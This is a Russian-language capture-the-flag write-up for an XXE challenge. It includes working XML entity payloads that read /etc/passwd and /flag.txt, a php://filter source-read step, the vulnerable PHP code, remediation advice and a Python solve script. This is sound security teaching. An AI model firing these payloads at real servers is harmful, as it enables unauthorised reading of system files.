Busy: writeup
Ссылка на задание http://f8tasks.ru/challenges#Busy
Busy
| Category | Web |
| Difficulty | Easy–Medium |
| Vulnerability | XXE (XML External Entity) — local file read |
| Flag | ws{1t_w@s_s1mple_xx3} |
Recon
Busy. wsr.gmax.pro:30209
Артефакты: живой HTTP-сервис.
curl -sS -i http://wsr.gmax.pro:30209/ | sed -n '1,120p'
HTTP/1.1 200 OK
...
function XMLFunction(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
'<name>' + $('#name').val() + '</name>' +
'<tel>' + $('#tel').val() + '</tel>' +
'<email>' + $('#email').val() + '</email>' +
'<password>' + $('#password').val() + '</password>' +
'</root>';
...
xmlhttp.open("POST","process.php",true);
xmlhttp.send(xml);
}
Ключевые наблюдения:
- Клиент собирает XML вручную и отправляет его как тело POST-запроса на
process.php. - Поля в документе известны заранее:
name,tel,email,password. - Форма выглядит как обычная регистрация, но тип данных — XML, а не
application/x-www-form-urlencoded.
Проверяем, что endpoint парсит XML и что-то отражает в ответе:
curl -sS -i -X POST http://wsr.gmax.pro:30209/process.php \
--data-binary '<?xml version="1.0"?><root><name>a</name><tel>b</tel><email>c</email><password>d</password></root>'
Sorry, c is already registered!
Результат: значение поля email попало в тело ответа. Вывод: XML парсится структурно, email — точка exfiltration.
XML External Entity (XXE)
XXE (XML External Entity) — уязвимость XML-парсера, при которой пользователь объявляет «сущность» (entity), ссылающуюся на внешний ресурс, а парсер послушно читает этот ресурс и подставляет его содержимое в документ.
Аналогия: ты пишешь письмо учителю и вставляешь в него фрагмент «скопируй сюда текст со страницы 5 секретного справочника». Если учитель доверяет такому указанию и сам открывает справочник — ты можешь попросить его прочитать что угодно.
Как объявляется сущность:
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><email>&xxe;</email></root>
Когда парсер видит &xxe; в тексте, он читает файл /etc/passwd и подставляет его содержимое вместо ссылки.
Ручная проверка на /etc/passwd — безопасный маркер чтения:
curl -sS -X POST http://wsr.gmax.pro:30209/process.php --data-binary @- <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><name>a</name><tel>b</tel><email>&xxe;</email><password>d</password></root>
EOF
Sorry, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
is already registered!
XXE подтверждена. Содержимое /etc/passwd оказалось в поле email и утекло в ответ.
Exploitation
| Шаг | Действие | Команда / результат |
|---|---|---|
| 1 | Обнаружить XML в клиентском JS | xmlhttp.send(xml) — сервер получает сырой XML |
| 2 | Подтвердить отражение email | POST с email=c → Sorry, c is already registered! |
| 3 | Проверить XXE на /etc/passwd | Ответ содержит файл пользователей — in-band read подтверждён |
| 4 | Прочитать исходник для фиксации root cause | PHP-фильтр php://filter/convert.base64-encode/resource=/var/www/html/process.php → base64 → декодировать |
| 5 | Прочитать /flag.txt | Sorry, ws{1t_w@s_s1mple_xx3} is already registered! |
Root cause — строки в process.php:
libxml_disable_entity_loader(false); // внешние сущности явно разрешены
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// LIBXML_DTDLOAD — загружать объявленные сущности из <!DOCTYPE>
// LIBXML_NOENT — подставлять значения сущностей в итоговый текст
$info = simplexml_import_dom($dom);
echo "Sorry, $info->email is already registered!"; // email уходит в ответ
Пользователь прислал не просто данные, а инструкцию «прочитай этот файл». Сервер выполнил её, потому что никто не ограничил обработку внешних сущностей.
Правильный подход:
- Не принимать XML, если достаточно JSON или form data.
- Если XML необходим: не передавать флаги
LIBXML_NOENTиLIBXML_DTDLOAD. - В PHP 8.0+ загрузку внешних сущностей следует явно отключить:
libxml_disable_entity_loader(true). - Не отражать в ответе сырые значения пользовательских полей.
Automation
#!/usr/bin/env python3
import re
import sys
from urllib.request import Request, urlopen
PAYLOAD = """<?xml version=\"1.0\"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///flag.txt\">]>
<root><name>a</name><tel>b</tel><email>&xxe;</email><password>d</password></root>
"""
def main() -> int:
url = sys.argv[1] if len(sys.argv) > 1 else "http://wsr.gmax.pro:30209/process.php"
request = Request(url, data=PAYLOAD.encode("utf-8"), method="POST")
request.add_header("Content-Type", "application/xml")
with urlopen(request, timeout=10) as response:
body = response.read().decode("utf-8", errors="replace")
match = re.search(r"ws\{[^}\n]+\}", body) # ищем флаг формата ws{...}
if not match:
print("flag not found")
print(body)
return 1
print(match.group(0))
return 0
if __name__ == "__main__":
raise SystemExit(main())
python3 solve.py
Ожидаемый вывод:
ws{1t_w@s_s1mple_xx3}
Key Takeaways
XXE. XML-парсер с флагами
LIBXML_NOENT | LIBXML_DTDLOADчитает произвольные файлы поfile://-URI и подставляет их содержимое вместо объявленных сущностей. Проверка — добавить<!DOCTYPE>сfile:///etc/passwd: если в ответе появился/etc/passwd, in-band file read подтверждён.Отражаемое поле — точка exfiltration. Флаг эксплуатации не просто в наличии XXE, а в том, что уязвимое поле (
email) попадает в HTTP-ответ. Если бы сервер молчал — потребовался бы blind XXE через внешний DTD-хост.Ловушка: API-ключ в условии задачи. В условии был выдан API-ключ, но он не нужен для получения флага. Частая ошибка — тратить время на использование API-ключа до того, как прочитан клиентский JavaScript. Recon всегда начинается с HTML и JS, а не с перебора артефактов из легенды.
